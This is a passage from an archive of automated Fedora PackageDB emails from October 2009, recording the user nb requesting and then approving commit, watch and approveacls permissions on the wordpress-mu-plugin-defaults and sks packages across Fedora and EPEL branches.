To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:51 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested approveacls
Message-ID: <20091020010951.DCDC610F80D@bastion2.fedora.phx.redhat.com>

nb has requested the approveacls acl on wordpress-mu-plugin-defaults (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:56 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested watchbugzilla
Message-ID: <20091020010956.57EAF10F87F@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on wordpress-mu-plugin-defaults (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:57 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested watchcommits
Message-ID: <20091020010957.B7FD110F88F@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on wordpress-mu-plugin-defaults (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:59 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested commit
Message-ID: <20091020010959.4E87D10F892@bastion2.fedora.phx.redhat.com>

nb has requested the commit acl on wordpress-mu-plugin-defaults (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:10:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:10:01 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested approveacls
Message-ID: <20091020011001.96D1310F880@bastion2.fedora.phx.redhat.com>

nb has requested the approveacls acl on wordpress-mu-plugin-defaults (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:10:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:10:05 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested watchbugzilla
Message-ID: <20091020011004.EC9B310F88F@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on wordpress-mu-plugin-defaults (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:10:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:10:06 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested watchcommits
Message-ID: <20091020011006.8A8D610F85A@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on wordpress-mu-plugin-defaults (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:10:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:10:08 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested commit
Message-ID: <20091020011009.0AF2510F892@bastion2.fedora.phx.redhat.com>

nb has requested the commit acl on wordpress-mu-plugin-defaults (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:10:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:10:10 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested approveacls
Message-ID: <20091020011010.B5A8010F88F@bastion2.fedora.phx.redhat.com>

nb has requested the approveacls acl on wordpress-mu-plugin-defaults (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:10:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:10:39 +0000
Subject: [pkgdb] sks: nb has requested watchbugzilla
Message-ID: <20091020011039.8A4AF10F80D@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on sks (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:10:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:10:41 +0000
Subject: [pkgdb] sks: nb has requested watchcommits
Message-ID: <20091020011041.5CD3E10F87F@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on sks (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:10:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:10:46 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020011046.B5F2110F880@bastion2.fedora.phx.redhat.com>

nb has set the approveacls acl on wordpress-mu-plugin-defaults (Fedora 10) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:10:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:10:48 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020011048.E647110F87F@bastion2.fedora.phx.redhat.com>

nb has set the commit acl on wordpress-mu-plugin-defaults (Fedora 10) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:10:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:10:51 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020011051.6A73F10F80D@bastion2.fedora.phx.redhat.com>

nb has set the watchcommits acl on wordpress-mu-plugin-defaults (Fedora 10) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:04 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020011104.DE99610F80D@bastion2.fedora.phx.redhat.com>

nb has set the approveacls acl on wordpress-mu-plugin-defaults (Fedora EPEL 5) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:07 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020011107.8434B10F85A@bastion2.fedora.phx.redhat.com>

nb has set the commit acl on wordpress-mu-plugin-defaults (Fedora EPEL 5) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:09 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020011109.CF92B10F87F@bastion2.fedora.phx.redhat.com>

nb has set the watchcommits acl on wordpress-mu-plugin-defaults (Fedora EPEL 5) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:12 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020011112.9ADD310F85A@bastion2.fedora.phx.redhat.com>

nb has set the watchbugzilla acl on wordpress-mu-plugin-defaults (Fedora EPEL 5) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:16 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020011116.133FA10F80D@bastion2.fedora.phx.redhat.com>

nb has set the watchbugzilla acl on wordpress-mu-plugin-defaults (Fedora 12) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:18 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020011118.85B5A10F87F@bastion2.fedora.phx.redhat.com>

nb has set the watchcommits acl on wordpress-mu-plugin-defaults (Fedora 12) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:21 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020011121.2A76910F894@bastion2.fedora.phx.redhat.com>

nb has set the commit acl on wordpress-mu-plugin-defaults (Fedora 12) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:23 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020011123.5484A10F8B1@bastion2.fedora.phx.redhat.com>

nb has set the approveacls acl on wordpress-mu-plugin-defaults (Fedora 12) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:33 +0000
Subject: [pkgdb] sks: nb has requested approveacls
Message-ID: <20091020011133.C76B810F88F@bastion2.fedora.phx.redhat.com>

nb has requested the approveacls acl on sks (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:39 +0000
Subject: [pkgdb] sks: nb has requested watchbugzilla
Message-ID: <20091020011140.0103E10F87F@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on sks (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:36 +0000
Subject: [pkgdb] sks: nb has requested commit
Message-ID: <20091020011136.EA53010F894@bastion2.fedora.phx.redhat.com>

nb has requested the commit acl on sks (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:41 +0000
Subject: [pkgdb] sks: nb has requested watchcommits
Message-ID: <20091020011142.03D2810F85A@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on sks (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:43 +0000
Subject: [pkgdb] sks: nb has requested commit
Message-ID: <20091020011143.760F510F86E@bastion2.fedora.phx.redhat.com>

nb has requested the commit acl on sks (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:45 +0000
Subject: [pkgdb] sks: nb has requested approveacls
Message-ID: <20091020011145.6B10910F892@bastion2.fedora.phx.redhat.com>

nb has requested the approveacls acl on sks (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:50 +0000
Subject: [pkgdb] sks: nb has requested watchbugzilla
Message-ID: <20091020011150.2F02610F850@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on sks (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:51 +0000
Subject: [pkgdb] sks: nb has requested watchcommits
Message-ID: <20091020011151.992FF10F800@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on sks (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:10:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:10:58 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020011058.4EBEA10F80D@bastion2.fedora.phx.redhat.com>

nb has set the watchbugzilla acl on wordpress-mu-plugin-defaults (Fedora 10) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:53 +0000
Subject: [pkgdb] sks: nb has requested commit
Message-ID: <20091020011153.603EB10F87F@bastion2.fedora.phx.redhat.com>

nb has requested the commit acl on sks (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:54 +0000
Subject: [pkgdb] sks: nb has requested approveacls
Message-ID: <20091020011154.E89CD10F850@bastion2.fedora.phx.redhat.com>

nb has requested the approveacls acl on sks (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:11:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:11:59 +0000
Subject: [pkgdb] sks: nb has requested watchbugzilla
Message-ID: <20091020011159.06EED10F850@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on sks (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:12:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:12:02 +0000
Subject: [pkgdb] sks: nb has requested commit
Message-ID: <20091020011202.D135210F87F@bastion2.fedora.phx.redhat.com>

nb has requested the commit acl on sks (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:12:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:12:00 +0000
Subject: [pkgdb] sks: nb has requested watchcommits
Message-ID: <20091020011201.1E59910F86E@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on sks (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:12:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:12:05 +0000
Subject: [pkgdb] sks: nb has requested approveacls
Message-ID: <20091020011205.E2D3610F880@bastion2.fedora.phx.redhat.com>

nb has requested the approveacls acl on sks (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:12:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:12:31 +0000
Subject: [pkgdb] sks: nb has requested watchcommits
Message-ID: <20091020011232.2458B10F86E@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on sks (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:12:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:12:30 +0000
Subject: [pkgdb] sks: nb has requested watchbugzilla
Message-ID: <20091020011230.5764C10F850@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on sks (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:12:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:12:33 +0000
Subject: [pkgdb] sks: nb has requested commit
Message-ID: <20091020011233.8CD1E10F880@bastion2.fedora.phx.redhat.com>

nb has requested the commit acl on sks (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:12:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:12:38 +0000
Subject: [pkgdb] sks: nb has requested watchbugzilla
Message-ID: <20091020011238.BB25510F85A@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on sks (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:12:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:12:35 +0000
Subject: [pkgdb] sks: nb has requested approveacls
Message-ID: <20091020011235.D800B10F88F@bastion2.fedora.phx.redhat.com>

nb has requested the approveacls acl on sks (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:12:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:12:40 +0000
Subject: [pkgdb] sks: nb has requested watchcommits
Message-ID: <20091020011240.E135210F86E@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on sks (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:12:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:12:41 +0000
Subject: [pkgdb] sks: nb has requested commit
Message-ID: <20091020011242.279B610F87F@bastion2.fedora.phx.redhat.com>

nb has requested the commit acl on sks (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:12:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:12:44 +0000
Subject: [pkgdb] sks: nb has requested approveacls
Message-ID: <20091020011244.0D75810F85A@bastion2.fedora.phx.redhat.com>

nb has requested the approveacls acl on sks (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:12:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:12:59 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011259.72DD510F850@bastion2.fedora.phx.redhat.com>

nb has set the approveacls acl on sks (Fedora devel) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:01 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011301.B5FC810F86E@bastion2.fedora.phx.redhat.com>

nb has set the approveacls acl on sks (Fedora 12) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:06 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011306.6EE0A10F850@bastion2.fedora.phx.redhat.com>

nb has set the watchcommits acl on sks (Fedora 12) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:09 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011309.51D0810F80D@bastion2.fedora.phx.redhat.com>

nb has set the watchbugzilla acl on sks (Fedora 12) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:12 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011312.0E9EE10F85A@bastion2.fedora.phx.redhat.com>

nb has set the watchbugzilla acl on sks (Fedora devel) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:14 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011314.764F010F80D@bastion2.fedora.phx.redhat.com>

nb has set the watchcommits acl on sks (Fedora devel) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:16 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011316.BBBFE10F85A@bastion2.fedora.phx.redhat.com>

nb has set the commit acl on sks (Fedora devel) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:21 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011321.2F15F10F80D@bastion2.fedora.phx.redhat.com>

nb has set the approveacls acl on sks (Fedora 11) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:23 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011323.A851F10F85A@bastion2.fedora.phx.redhat.com>

nb has set the commit acl on sks (Fedora 10) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:31 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011331.235C610F80D@bastion2.fedora.phx.redhat.com>

nb has set the watchbugzilla acl on sks (Fedora 11) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:33 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011333.D96C610F85A@bastion2.fedora.phx.redhat.com>

nb has set the watchbugzilla acl on sks (Fedora 10) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:36 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011336.C33AC10F80D@bastion2.fedora.phx.redhat.com>

nb has set the watchcommits acl on sks (Fedora 10) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:39 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011339.48A3310F85A@bastion2.fedora.phx.redhat.com>

nb has set the approveacls acl on sks (Fedora 10) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:43 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011343.A57CF10F80D@bastion2.fedora.phx.redhat.com>

nb has set the approveacls acl on sks (Fedora EPEL 4) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:46 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011346.31C6210F86E@bastion2.fedora.phx.redhat.com>

nb has set the commit acl on sks (Fedora EPEL 4) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:48 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011348.94D5610F80D@bastion2.fedora.phx.redhat.com>

nb has set the watchcommits acl on sks (Fedora EPEL 4) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:51 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011351.51A0910F87F@bastion2.fedora.phx.redhat.com>

nb has set the watchbugzilla acl on sks (Fedora EPEL 4) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:53 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011354.091A810F86E@bastion2.fedora.phx.redhat.com>

nb has set the watchbugzilla acl on sks (Fedora EPEL 5) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:04 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011304.43FE210F87F@bastion2.fedora.phx.redhat.com>

nb has set the commit acl on sks (Fedora 12) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:25 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011325.AFCDD10F80D@bastion2.fedora.phx.redhat.com>

nb has set the commit acl on sks (Fedora 11) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:27 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011328.1AF2510F86E@bastion2.fedora.phx.redhat.com>

nb has set the watchcommits acl on sks (Fedora 11) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:56 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011356.5BBB110F80D@bastion2.fedora.phx.redhat.com>

nb has set the watchcommits acl on sks (Fedora EPEL 5) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:13:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:13:59 +0000
Subject: [pkgdb] sks had acl change status
Message-ID: <20091020011358.E834B10F85A@bastion2.fedora.phx.redhat.com>

nb has set the commit acl on sks (Fedora EPEL 5) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From pkgdb at fedoraproject.org  Tue Oct 20 01:14:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:14:01 +0000
Subject: [pkgdb] sks had acl change status
